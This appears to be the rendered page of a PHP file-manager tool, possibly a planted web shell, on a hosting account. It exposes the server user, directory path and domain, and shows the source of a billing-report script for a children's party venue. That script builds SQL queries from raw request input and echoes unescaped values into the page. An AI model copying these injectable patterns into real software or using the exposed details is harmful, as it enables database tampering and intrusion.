Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.40.1.lve.el8.x86_64

PHP Version:

8.2.27

User:

u176930106

Directory:

/home/u176930106/domains/jusjumpin.in/public_html

Free Space:

1.92 TB

🔧 Quick Actions

✏️ Editing: bdblreport.php

<?php
ob_start();
session_start();
include("includes/incall.php"); 
include("includes/headermain.php");  
if(isset($_REQUEST['delete']) && $_REQUEST['delete']=="yes") {
	mysqli_query($con,"delete from `booking` where `bid`='".$_REQUEST['id']."'");
	$_SESSION['msgsu']="Booking is deleted successfully.";
	header("Location: ".basename(__FILE__));
	exit();
}
$day=date("l");
if($day=="Sunday") {
	$strtdt=date("Y-m-d",strtotime("+1"." day"));
	$lastdt=date("Y-m-d",strtotime("+6"." day"));
}
if($day=="Monday") {
	$strtdt=date("Y-m-d",strtotime("+7"." day"));
	$lastdt=date("Y-m-d",strtotime("+13"." day"));
}
if($day=="Tuesday") {
	$strtdt=date("Y-m-d",strtotime("+6"." day"));
	$lastdt=date("Y-m-d",strtotime("+11"." day"));
}
if($day=="Wednesday") {
	$strtdt=date("Y-m-d",strtotime("+5"." day"));
	$lastdt=date("Y-m-d",strtotime("+11"." day"));
}
if($day=="Thursday") {
	$strtdt=date("Y-m-d",strtotime("+4"." day"));
	$lastdt=date("Y-m-d",strtotime("+10"." day"));
}
if($day=="Friday") {
	$strtdt=date("Y-m-d",strtotime("+3"." day"));
	$lastdt=date("Y-m-d",strtotime("+9"." day"));
}
if($day=="Saturday") {
	$strtdt=date("Y-m-d",strtotime("+2"." day"));
	$lastdt=date("Y-m-d",strtotime("+8"." day"));
}
?>
<script language="javascript">
function del(id) {
	var fd=confirm("Are you sure to delete this entry?");
	if(fd==true) {
		location.href="bdblreport.php?id="+id+"&delete=yes";
	}	
}
</script>
<body class="sticky-header left-side-collapsed">
    <section>
		<?php include("includes/leftpanel.php"); ?>
		<div class="main-content">
			<?php include("includes/header.php"); ?>
			<div id="page-wrapper">
				<div class="graphs">
					<div class="col_3">
						<h3 class="blank1">Birthday Billing Report</h3>
						<div class="tabls">
							<div id="uform" class="bs-bg" data-example-id="contextual-table">
								<form action="#" method="get" name="seform">
										<strong>From Date:</strong>&nbsp;<input type="date" name="frdate" id="frdate" class="largeinputa" value="<?php print $_REQUEST['frdate']; ?>">
										&nbsp;&nbsp;
										<strong>To Date:</strong>&nbsp;<input type="date" name="todate" id="todate" class="largeinputa" value="<?php print $_REQUEST['todate']; ?>">
										&nbsp;&nbsp;
										<strong>From Party Date:</strong>&nbsp;<input type="date" name="fpdate" id="fpdate" class="largeinputa" value="<?php print $_REQUEST['fpdate']; ?>">
										&nbsp;&nbsp;
										<strong>To Party Date:</strong>&nbsp;<input type="date" name="tpdate" id="tpdate" class="largeinputa" value="<?php print $_REQUEST['tpdate']; ?>">
										<?php if($_SESSION['utype']=="superadmin" && $_SESSION['uid']=="2") { ?>
											<div class="cleaner h10"></div>
											<select name="aby" id="aby" class="largeinputa">
												<option value="">Select Store
												<?php
												$sqlstr="select * from `admin` where `utype`='store' and `status`='1'";
												$resstr=mysqli_query($con,$sqlstr);
												while($rowstr=mysqli_fetch_array($resstr)) {
												?>
													<option value="<?php print $rowstr['id']; ?>" <?php if($_REQUEST['aby']==$rowstr['id']) { ?>selected<?php } ?>><?php print $rowstr['ini']; ?>
												<?php } ?>
											</select>
											&nbsp;&nbsp;
											<strong>Salesman:</strong>&nbsp;<input type="text" name="slman" id="slman" class="largeinputa" value="<?php print $_REQUEST['slman']; ?>">
										<?php } ?>
										&nbsp;&nbsp;
										<input type="submit" name="search" value="Search">&nbsp;<input type="button" name="show" value="Show All" onClick="location.href='<?php print basename(__FILE__); ?>'">
									</form>
								</div>
								<div class="cleaner h40"></div>
								<?php if($_SESSION['msgerror']!="") { ?><div class="msgerror"><?php print $_SESSION['msgerror']; $_SESSION['msgerror']=''; ?><div class="cleaner h10"></div></div><?php } ?>
								<?php if($_SESSION['msgsu']!="") { ?><div class="msuccess"><?php print $_SESSION['msgsu']; $_SESSION['msgsu']=''; ?><div class="cleaner h10"></div></div><?php } ?>
								<table class="table">
									<thead>
										<tr>
											<th>Sl.</th>
											<th>By</th>
											<th>Date/Time</th>
											<th>Details 1</th>
											<th>Details 2</th>
											<th>By</th>
											<th>Amount</th>
											<th>Options</th> 
										</tr>
									</thead>
									<tbody>
										<?php
										$count=1;
										$totalam=0;
										$bgcolora="";
										$bgcolorb="";
										$dt=date("Y-m-d");
										//$mtdate=date("Y-m-")."31";
										$sqlashis="select * from `bill` where 1";
										if($_SESSION['utype']=="superadmin") {
											$sqlashis.=" and `status`='1'";
											if($_REQUEST['aby']) {
												$sqlashis.=" and `aby`='".$_REQUEST['aby']."'";
											}
										}
										if($_SESSION['utype']=="store") {
											$sqlashis.=" and (`status`='1' or `status`='9') and `aby`='".$_SESSION['uid']."'";
										}
										if($_SESSION['utype']=="staff") {
											$sqlashis.=" and (`status`='1' or `status`='9') and `staff`='".$_SESSION['uid']."'";
										}
										if($_REQUEST['frdate']) {
											$sqlashis.=" and `bdate`>='".$_REQUEST['frdate']."'";
										}
										if($_REQUEST['todate']) {
											$sqlashis.=" and `bdate`<='".$_REQUEST['todate']."'";
										}
										if($_REQUEST['fpdate']) {
											$sqlashis.=" and `dob`>='".$_REQUEST['fpdate']."'";
										}
										if($_REQUEST['tpdate']) {
											$sqlashis.=" and `dob`<='".$_REQUEST['tpdate']."'";
										}
										if($_REQUEST['slman']) {
											$sqlashis.=" and `salesperson` like '%".$_REQUEST['slman']."%'";
										}
										$sqlashis.=" order by `blid` desc";
										$resshis=mysqli_query($con,$sqlashis);
										if(mysqli_num_rows($resshis)>=1) {
											$sqltot="select sum(net) as am from `bill` where 1";
											if($_SESSION['utype']=="superadmin") {
												$sqltot.=" and `status`='1'";
												if($_REQUEST['aby']) {
													$sqltot.=" and `aby`='".$_REQUEST['aby']."'";
												}
											}
											if($_SESSION['utype']=="store") {
												$sqltot.=" and (`status`='1' or `status`='9') and `aby`='".$_SESSION['uid']."'";
											}
											if($_SESSION['utype']=="staff") {
												$sqltot.=" and (`status`='1' or `status`='9') and `staff`='".$_SESSION['uid']."'";
											}
											if($_REQUEST['frdate']) {
												$sqltot.=" and `bdate`>='".dtconvert($_REQUEST['frdate'])."'";
											}
											if($_REQUEST['todate']) {
												$sqltot.=" and `bdate`<='".dtconvert($_REQUEST['todate'])."'";
											}
											$rowtot=mysqli_fetch_array(mysqli_query($con,$sqltot));

$sqltota="select sum(advance) as am from `bill` where (`net`='' or `net`='0')";
											if($_SESSION['utype']=="superadmin") {
												$sqltota.=" and `status`='1'";
												if($_REQUEST['aby']) {
													$sqltota.=" and `aby`='".$_REQUEST['aby']."'";
												}
											}
											if($_SESSION['utype']=="store") {
												$sqltota.=" and (`status`='1' or `status`='9') and `aby`='".$_SESSION['uid']."'";
											}
											if($_SESSION['utype']=="staff") {
												$sqltota.=" and (`status`='1' or `status`='9') and `staff`='".$_SESSION['uid']."'";
											}
											if($_REQUEST['frdate']) {
												$sqltota.=" and `bdate`>='".dtconvert($_REQUEST['frdate'])."'";
											}
											if($_REQUEST['todate']) {
												$sqltota.=" and `bdate`<='".dtconvert($_REQUEST['todate'])."'";
											}
											$rowtota=mysqli_fetch_array(mysqli_query($con,$sqltota));
										?>
											<tr>
												<th colspan="6">Total Count: <?php print mysqli_num_rows($resshis); ?>&nbsp;&nbsp;&nbsp;&nbsp;Total Amount: Rs. <?php print number_format(($rowtot['am']+$rowtota['am']),2); ?></th>
											</tr>
										<?php	
											while($rowashis=mysqli_fetch_array($resshis)) {
												$bgcolor="";
												$bgcolora="";
												$bgcolorb="";
												$rowstr=mysqli_fetch_array(mysqli_query($con,"select * from `admin` where `id`='".$rowashis['aby']."'"));
												$rowstf=mysqli_fetch_array(mysqli_query($con,"select * from `staff` where `id`='".$rowashis['staff']."'"));
												//$final=$rowashis['net']-$rowashis['advance'];
												$totalam+=$rowashis['net'];
												//$mtdate=date("Y-m-d",strtotime("+7"." day"));
												//$lastdt=date("Y-m-d",strtotime($mtdate."+30"." day"));
												/*if($rowashis['dob']<$dt) {
													$bgcolor="#fe0002";
												} elseif($rowashis['dob']>$dt && $rowashis['dob']<=$mtdate) {
													$bgcolor="#00b04e";
												} elseif($rowashis['dob']>$dt && $rowashis['dob']>$mtdate && $rowashis['dob']<=$lastdt) {
													$bgcolor="#ffff02";
												} else {
													$bgcolor="";
												}*/
												if($rowashis['dob']<$dt) {
													$bgcolor="#a020f0";
												} elseif($rowashis['dob']>$dt && $rowashis['dob']>=$strtdt && $rowashis['dob']<=$lastdt) {
													$bgcolor="#00b04e";
												} else {
													$bgcolor="";
												}

$resqr=mysqli_query($con,"select * from `query` where `id`='".$rowashis['qref']."'");
												if(mysqli_num_rows($resqr>=1)) {
													$rowqr=mysqli_fetch_array($resqr);
													if($rowashis['bdate']==$rowqr['bdate']) {
														$first=strtotime($rowqr['time']);
														$second=strtotime($rowashis['time']);
														$diff=$second-$first;
														$tdiff=$diff/60;
														if($tdiff<=15) {
															$bgcolora="#fe0002";
														}
													}
												}
												if($rowashis['minpax']!="" && $rowashis['finalpax']>"0" && $rowashis['finalpax']<$rowashis['minpax']) {
													$bgcolorb="#f0ad4d";
												}
										?>
												<tr class="<?php echo ++$flag%2==0?"active":"success";?>" onMouseOver="this.className='info'" onMouseOut="this.className='<?php echo $flag%2==0?"active":"success";?>'" id="go<?php print $flag; ?>">
													<td><?php print $count; ?></td>
													<td style="background: <?php print $bgcolor; ?> !important;">
														<?php print $rowstr['strname']; ?><br><?php print $rowstf['name']; ?><br>(<?php print $rowashis['blid']; ?>)
														<?php if($rowashis['accepted']=="1") { ?>
															<br><input type="button" value="Accepted" class="acceptbutton" onClick="return false;">
														<?php } elseif($rowashis['accepted']=="0") { ?>
															<br><input type="button" value="Rejected" class="rejectbutton" onClick="return false;">
														<?php } else { ?>	
														<?php } ?>
													</td>
													<td style="background: <?php print $bgcolora; ?> !important;"><?php print dtconvert($rowashis['bdate']); ?><br><strong><?php print $rowashis['time']; ?></strong></td>
													<td>
														<?php if($rowashis['name']) { ?><strong>Billing Name:</strong> <?php print ucwords(strtolower(utf8_encode(stripslashes($rowashis['name'])))); ?><br><?php } ?>
														<strong>Mobile No.:</strong> <?php print $rowashis['mobile']; ?><br>
														<?php if($rowashis['address']) { ?><strong>Address:</strong> <?php print $rowashis['address']; ?><br><?php } ?>
														<?php if($rowashis['dob']) { ?><strong>Party Date:</strong> <?php print $rowashis['dob']; ?><?php } ?>
													</td>
													<td style="background: <?php print $bgcolorb; ?> !important;">
														<?php if($rowashis['kname']) { ?><strong>Kid's Name:</strong> <?php print ucwords(strtolower(utf8_encode(stripslashes($rowashis['kname'])))); ?><br><?php } ?>
														<?php if($rowashis['tslot']) { ?><strong>Time Slot:</strong> <?php print $rowashis['tslot']; ?><br><?php } ?>
														<?php if($rowashis['theme']) { ?><strong>Theme:</strong> <?php print $rowashis['theme']; ?><br><?php } ?>
														<?php if($rowashis['minpax']) { ?><strong>Min Pax:</strong> <?php print $rowashis['minpax']; ?><br><?php } ?>
														<?php if($rowashis['finalpax']) { ?><strong>Final Pax:</strong> <?php print $rowashis['finalpax']; ?><br><?php } ?>
														<?php if($rowashis['noofprts']) { ?><strong>No. of Parents:</strong> <?php print $rowashis['noofprts']; ?><br><?php } ?>
														<?php if($rowashis['noofkids']) { ?><strong>No. of Kids:</strong> <?php print $rowashis['noofkids']; ?><br><?php } ?>
														<?php if($rowashis['features']) { ?><strong>Features:</strong> <?php print $rowashis['features']; ?><?php } ?>
													</td>
													<td><?php print $rowashis['salesperson']; ?></td>
													<td>
														<?php /* ?>Sub-Total: Rs. <?php print number_format($rowashis['gross'],2); ?><br>
														GST: Rs. <?php print number_format($rowashis['gst'],2); ?><br>
														Net: Rs. <?php print number_format($rowashis['net'],2); ?><br><?php */ ?>
														Advance: Rs. <?php print number_format($rowashis['advance'],2); ?>
														<?php if($rowashis['net']!="" && $rowashis['net']!="0") { ?>
															<br>Final Payment: Rs. <?php print number_format($rowashis['net']-$rowashis['advance'],2); ?>
															<br>Total: Rs. <?php print number_format($rowashis['net'],2); ?>
														<?php } ?>
														<?php /* ?>Due: Rs. <?php print number_format($rowashis['pending'],2); ?><?php */ ?>
													</td>
													<td>
														<?php //if($_SESSION['utype']=="superadmin") { ?>
															<?php if(($rowashis['net']=="" || $rowashis['net']=="0") && $_SESSION['utype']=="superadmin") { ?>
																<a href="birthdayedit.php?blid=<?php print base64_encode($rowashis['blid']); ?>&flag=<?php print $flag; ?>">Edit</a>
															<?php } ?>	
															&nbsp;&nbsp;&nbsp;<a href="finalamount.php?blid=<?php print $rowashis['blid']; ?>">Final</a>
															<br><a href="quotation.php?blid=<?php print $rowashis['blid']; ?>">Quotation</a>
														<?php //} ?>
														<?php if($rowashis['status']=="1") { ?>
															<?php if($rowashis['net']!="" && $rowashis['net']!="0") { ?>
																<br><a href="finalbill.php?blid=<?php print $rowashis['blid']; ?>">Print Bill</a>&nbsp;&nbsp;&nbsp;
															<?php } else { ?>
																<br><a href="bill.php?blid=<?php print $rowashis['blid']; ?>">Print Bill</a>
														<?php } } ?>	
														<?php if($rowashis['status']!="9" && ($rowashis['net']=="" || $rowashis['net']=="0")) { ?>
															<?php if($rowashis['status']=="1") { ?>
																<br><a href="cancelbill.php?blid=<?php print $rowashis['blid']; ?>&otp=true">Cancel</a>
															<?php } else { ?>
																<br><strong>Cancelled</strong><br>
																<br><strong>Reason:</strong> <?php print $rowashis['reason']; ?>
														<?php } } ?>
													</td>
												</tr>	
										<?php $count++; } ?>
											<?php /* ?><tr>
												<td align="right" colspan="5"><strong>Total Amount: <?php print number_format($totalam,2); ?></strong></td>
												<td>&nbsp;</td>
											</tr><?php */ ?>
										<?php } else { ?>
											<tr>
												<td colspan="6">Sorry, Nothing Found.</td>
											</tr>
										<?php } ?>
									</tbody>
								</table>
							</div>
						</div>		 
						<div class="clearfix"></div>
					</div>
				</div>
			</div>
		</div>
		<?php include("includes/footer.php"); ?>
	</section>
</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: bdblreport.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation